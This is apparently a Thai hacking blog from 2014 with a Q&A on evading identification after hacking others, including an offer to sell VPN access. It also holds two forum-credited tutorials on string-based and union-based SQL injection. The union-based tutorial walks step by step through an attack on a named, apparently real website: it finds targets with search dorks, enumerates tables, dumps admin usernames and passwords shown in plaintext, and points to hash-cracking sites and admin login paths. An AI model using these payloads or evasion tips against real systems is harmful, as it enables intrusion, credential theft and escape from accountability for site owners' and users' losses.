วันพฤหัสบดีที่ 9 มกราคม พ.ศ. 2557

ถาม-ตอบ การซ่อนตัวจาก โลก ไซเบอร์

ถาม: หลายคนถามมาว่า ถ้าเราHack เค้าแล้ว เค้าสามารถจับหรือตามตัวเราเจอหรือป่าว
ตอบ:คำตอบคือ   ถ้าหากเรา Hack โดยที่ไม่ซ่อนตัว อีกฝ่ายจะสามารถตามตัวเราเจอครับ

ถาม: อ่าวแล้วตามเราเจอได้ไง ในเมื่อผม hack คนต่างจังหวัด
ตอบ: สามารถ ตามตัวได้โดย การใช่ที่อยู่ขอคอมพิวเตอร์ (IP) คับ

ถาม:แล้วเราสามารถซ่อนตัวได้อย่างไรจึงปลอดภัย
ตอบ:สามารถทำใด้3วิธีดังนี้คับ

1 การproxy หรือการปลอมแปลงที่อยู่ IP ของเรา เพื่อซ่อนตัวคับ
2 Tor อันนี้ผมก็ไม่แน่ใจเพราะ มีคนบอกว่าสามารถซ่อนตัวได้
3 VPN คับ อันนี้แนะนำ เพราะว่า สามารถซ่อนตัวได้มิดชิด

 Vpn แบ่งได้ 2 แบบ คือ

1 แบบฟรี  แบบฟรีนี้ สามารถ หาได้ตามgoogle ทั่วไป แต่ข้อเสียเยอะหน่อย
2 แบบจ่ายตัง ซึ่งสามารถซ่อนตัวได้อย่างปลอดภัย 100% สามารถเปิดพอทได้ ซึ่ง ราคา 300 บาท/เดือน ใครสนใจโพสซื้อได้เลยคับ

เทคนิค การHack Web 2. String Based SQL Injection

2. String Based SQL Injection


แก้ไขปัญหา เวลาพิมพ์คำสั่งลงไปบนเว็ปที่มีช่องโหว่แต่ไม่มีผลอะไรตอบกลับมา
ซึ่งวิธีนี้เป็นวิธีแก้ปัญหาพื้นฐาน ที่สามารถใช้ได้กับ Error Based SQL injection, Blind Injection ได้เหมือนกันครับ



String Based SQL injection


อะไรคือ String Based SQL injection? แล้วจะรู้ได้ยังไง
String Based SQL injection จะเกิดขึ้นเมื่อคุณกำลังทำการแฮกเว็ปไซด์ที่มีช่องโหว่แต่พอเราพิมพ์คำสั่งต่างๆไปแต​่กลับไม่มีผลตอบรับกลับมา เช่น:

Code:
"order by" ไม่ทำงาน, เช่นคุณลองจนไปถึง: order by 100-- แต่ก็ยังไม่เจอ error ซึ่งที่จริงมันไม่น่าจะมีเกิน 100 คอลัมน์
"group by" ไม่ทำงาน
"having 1=2" ไม่ทำงาน
และอื่นๆ

วิธีแก้ปัญหานี้: ใช้คำสั่งตามนี้ครับ

Code:
http://www.??????.com/index.php?id=10' order by 1000--+
จะเห็นว่าผมได้เติมอักษร + ไว้ท้ายสุด
Code:
นอกจากนี้ยังใช้ตัวอื่นได้อีกเช่น:
+--+
+--
-- -+
เช่น:
เช็คจำนวนคอลัมน์

Code:
http://www.??????.com/index.php?id=10' order by 10--+

หาข้อมูลของเว็ปไซด์

Code:
http://www.??????.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(schema_name,0x0a),7,8,9,10 from information_schema.schemata--+

หา Table นั้นฐานข้อมูลของเว็ปไซด์

Code:
http://www.??????.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(table_schema,0x0a),7,8,9,10 from information_schema.tables where table_schema=database()--+

-= สามารถใช้แก้ปัญหาของ Error Based SQL injection, Blind Based และ SQL injection ชนิดอื่นๆได้เหมือนกัน =-



เครดิส  http://www.hackdee.com/Forums/showthread.php?tid=114

เทคนิค การHack Web 1 SQL Injection {Union Based}

1. SQL Injection {Union Based}

วิธีนี้ เป็นพื้นฐานของกาน Hack Wab ส่วนวิธีการคือการ ใส่คำสั่งลงไปต่อจากเวป เพื่อหาช่องโหว่

มาเริ่มกัน
1. ค้นหาเป้าหมาย

เราจะหาเป้าหมายโดยใช้ Dorks. Dorks คือ การใส่ queries เข้าไปใน Search Engine (Google). เราจะใช้ Google ในการค้นหาเป้าหมาย. ใส่ Dorks ลงไปเพื่อหาเว็ปไซต์เป้าหมาย.
ตัวอย่าง Dork

Code:
inurl:"index.php?ID="
ผลการค้นหา. Google จะแสดงเว็ปไซต์ต่างๆที่มี "products.php?prodID=" อยู่ในลิงค์.
- ลิส Dorks
ถ้าจะให้ดีผมแนะนำให้สร้าง Dorks ของตัวเอง. สร้าง Dorks ที่คิดว่าจะยังไม่มีคนอื่นนำไปใช้หรือทดลอง เช่น:

Code:
inurl:"index.php?item_id=" & ".co.th"
บางทีมันก็ไม่ทำงาน. ไม่เป็นไรครับค่อยๆสร้างๆค่อยๆคิดกันไป.

1.2: ทดสอบเป้าหมายว่ามีช่องโหว่ให้ทำการเจาะไหม

หลังจากค้นหาเว็ปไซต์เป้าหมายได้แล้ว เราต้องทดสอบว่าเว็ปเป้าหมายเราจะมีช่องโหวให้เราแฮกเข้าไปได้ไหม.
- ลิสเว็ปไซต์ที่มีช่องโหว่
ผมจะใช้เว็ปนี้เพื่อทดลอง:
http://www.lebeauhumblet.com/publications.php?id=2
วิธีทดสอบคือให้ใส่อักษร ' ไว้ท้ายสุดของลิงค์แล้วรีโหลดหน้าเว็ป เช่น:

Code:
http://www.lebeauhumblet.com/publications.php?id=2'
จะรู้ได้ไงว่าเว็ปนี้มีช่องโหว่. หลังจากรีโหลดหน้าเว็ปแล้ว ถ้าเกิดหน้าเว็ป:
- ข้อความบางส่วนหายไป, รูปภาพหายไป หรือ สคริปแตกต่างจากหน้าเว็ปหลัก
- SQL Error ต่างๆ 

2. หาคอลัมน์

ลองกับเว็ปเดิม: 
http://www.lebeauhumblet.com/publications.php?id=2
สิ่งที่กำลังจะทำคือเช็คว่าเว็ปนี้มีคอลัมน์อยู่ในฐานข้อมูลทั้งหมดเท่าไหรโดยใช้คำส​ั่ง 'order+by'
ลิงค์จะหน้าตาออกมาเป็นแบบนี่

Code:
http://www.lebeauhumblet.com/publications.php?id=2+order+by+1--
เรามาเริ่มหากันเลย ไล่ขึ้นไปจากคอลัมน์ 1
http://www.lebeauhumblet.com/publication...der+by+1-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+2-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+3-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+4-- < ไม่เจอ Error
http://www.lebeauhumblet.com/publication...der+by+5-- < เจอ Error

นั้นหมายความว่าในฐานข้อมูลเว็ปนี้มีแค่ 4 คอลัมน์

2.1: หาช่องโหว่ของคอลัมน์

จากนั้นเราจะต้องหาว่าใน 4 คอลัมน์นั้นมีคอลัมน์ไหนที่มีช่องโหว่ให้เราสามารถเจาะเข้าไปได้โดยใช้คำสั่ง (union+select).
หน้าตาลิงค์จะเป็นแบบนี้

Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,3,4--
อย่าลืมอักษร - ก่อนหน้าเลข 2 นะครับดูให้ดีๆ
หลังจากรีโหลดหน้าเว็ป คุณจะเห็นตัวเลขโชว์ขึ้นมาหน้าเว็ป. นั้นคือคอลัมน์ที่มีช่องโหว่. ตัวอย่างเช่นเว็ปไซต์ด้านบนมีคอลัมน์ 3 กับ 4 ที่มีช่องโหว่.

3: หาเวอร์ชั่นของ SQL

ต่อไปใช้คำสั่ง (@@version) ในการหาเวอร์ชั้นของเว็ปไซต์. โดยการแทนที่คอลัมน์ที่มีช่องโหว่ด้วยคำสั่ง เช่น:

Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,@@version,4--
ตามลิงค์ด้านบนผมใส่คำสั่งแทนที่คอลัมน์ 3. จากนั้นรีโหลดหน้าเว็ป... คุณก็ได้เวอร์ชั่นของเว็ปไซต์นี้ >> 4.1.20-community-nt

ถ้าคำสั่งด้านบนผิดพลาดโดยที่หน้าเว็ปไม่โชว์เวอร์ชั่นหรือมี Error ให้เราใช้คำสั่งนี้แทน
convert(@@version using latin1)
ดังนั้นลิงค์จะมีหน้าตาเป็นแบบนี้

Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,convert(@@version using latin1),4--
หรือคำสั่งนี้: unhex(hex(@@version))
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,unhex(hex(@@version)),4--

4. หา Tables ในฐานข้อมูล

Quote:group_concat = รวมรวบข้อมูล
table_name = ชื่อ Tables
from = ที่ที่เราเจาะจงจะหาข้อมูล
information_schema.tables = ข้อมูลในฐานข้อมูลที่มีชื่อ Tables เก็บไว้
table_schema = Tables ในฐานข้อมูล
database() = ฐานข้อมูลของเว็ปไซด์
เค.. มาผสมคำสั่งพวกนี้เข้าด้วยกัน... ลิงค์จะออกมาหน้าตาแบบนี้
Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(table_name,0x0a),4 from information_schema.tables where table_schema=database()--
ตามลิงค์ด้านบนผมได้ใส่คำสั่ง group_concat(table_name,0x0a) แทนที่คอลัมน์ที่มีช่องโหว่และ from information_schema.tables where table_schema=database()-- ต่อท้าย. จากนัันหน้าเว็ปไซด์จะโชว์ลิสชื่อ Tables ทั้งหมดที่อยู่ในฐานข้อมูล..
Code:
pdigclicks ,pdigengine ,pdigexcludes ,pdigincludes ,pdigkeywords ,pdiglogs ,pdigsite_page ,pdigsites ,pdigspider ,pdigtempspider ,tbladmin ,tblbanner ,tblbanner_page ,tblfaq ,tblncategory ,tblnews
หลังจากที่ได้ชื่อ Tables มาหลายตัว. สิ่งที่ต้องทำคือหา Table ที่มีข้อมูลของ User/Admin อยู่ในนั้น. ในตัวอย่างที่ได้มา table ที่ชื่อ tbladmin น่าจะมีข้อมูลเหล่านั้นอยู่.

4.1. หาชื่อคอลัมน์ใน Table และ ยูสเซ่อกับพาสแอดมิน

ดูที่โค้ตด้านล่างนี้ให้ดีๆ

Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(column_name,0x0a),4 from information_schema.columns where table_name=0x74626c61646d696e--
มาดูกันมีอะไรแตกต่างไปมั้ง:
Quote:table_name = แทนที่โดย "column_name"
information_schema.tables = แทนที่โดย "information_schema.columns"
table_schema = แทนที่โดย "table_name"
database() = แทนที่โดย "0x74626c61646d696e--"
สงสัยกันใช่ไหมว่าทำไมตัวท้ายต้องเป็น Hex โค้ต 0x74626c61646d696e--
อันดับแรกที่ผมใส่ 0x เพื่อที่จะให้มันอ่านโค้ต hex ได้. เค.. ผมจะอธิบายให้ง่ายๆ ชื่อ Table ของเราคือ tbladmin เผื่อที่จะเข้าไปในฐานข้อมูล Table ได้เราต้องเปลี่ยนชื่อมันให้เป็น hex โค้ต. ผมใช่เว็ปไซด์นี้ในการเปลี่ยน.

Code:
http://www.swingnote.com/tools/texttohex.php
เราก็จะได้ 74626c61646d696e เป็น Hex โค้ตของ tbladmin และเพื่อที่จะทำให้เว็ปไซด์อ่านได้เราจะใส่ 0x เข้าไปข้างหน้า.. ดังนั้นโค้ตจะเป็นแบบนี้..
Code:
0x74626c61646d696e
......
.............
จากนั้นเราจะได้คอลัมน์ทั้งหมดใน Table ตัวนี้เช่น:

Quote:adminid ,username ,password ,dom
แน่นอนที่ที่มีข้อมูลที่เราต้องการต้องอยู่ใน username และ password
เครขั้นตอนสุดท้าย... มาเอายูสกับรหัสแอดมินของเว็ปนี้โดยใช้คำสั่ง group_concat

Code:
http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(username,0x3a,password,0x0a),4 from tbladmin--
แล้วคุณก็จะได้..
Code:
ishir:ishir123
username: ishir
password: ishir123

เครสพิเศษ: Hashed Usernames and Passwords

เว็ปไซด์ส่วนใหญ่จะโชว์พาสเป็น MD5 Hashed. ดังนั้นเราต้องแคร็กมันโดยใช้เว็ปไซด์ด้านล่าง:
Quote:http://www.md5decrypter.co.uk/
http://www.md5this.com/
http://www.md5crack.com/
http://hashchecker.de/find.html
MD5 Hash จะมี 32 ตัว
SHA-1 Hash จะมี 40 ตัว


ขั้นตอนสุดท้าย: หาหน้าแอดมินเพื่อที่จะล็อกอิน

ตอนนี้เรามียูสกับพาสแอดมินแล้ว. ที่เหลือก็แค่หาหน้าล็อกอินแอดมินก็จะสามารถเข้าไปควบคุมเว็ปไซด์นั้นได้เต็มตัว. 

ตัวอย่างหน้าแอดมิน:

Code:
www.xxxx.com/admin
www.xxxx.com/admins
www.xxxx.com/users
www.xxxx.com/admin.php
www.xxxx.com/admin/login.php
www.xxxx.com/login.php
www.xxxx.com/login

เครดิส: http://www.hackdee.com/Forums/showthread.php?tid=100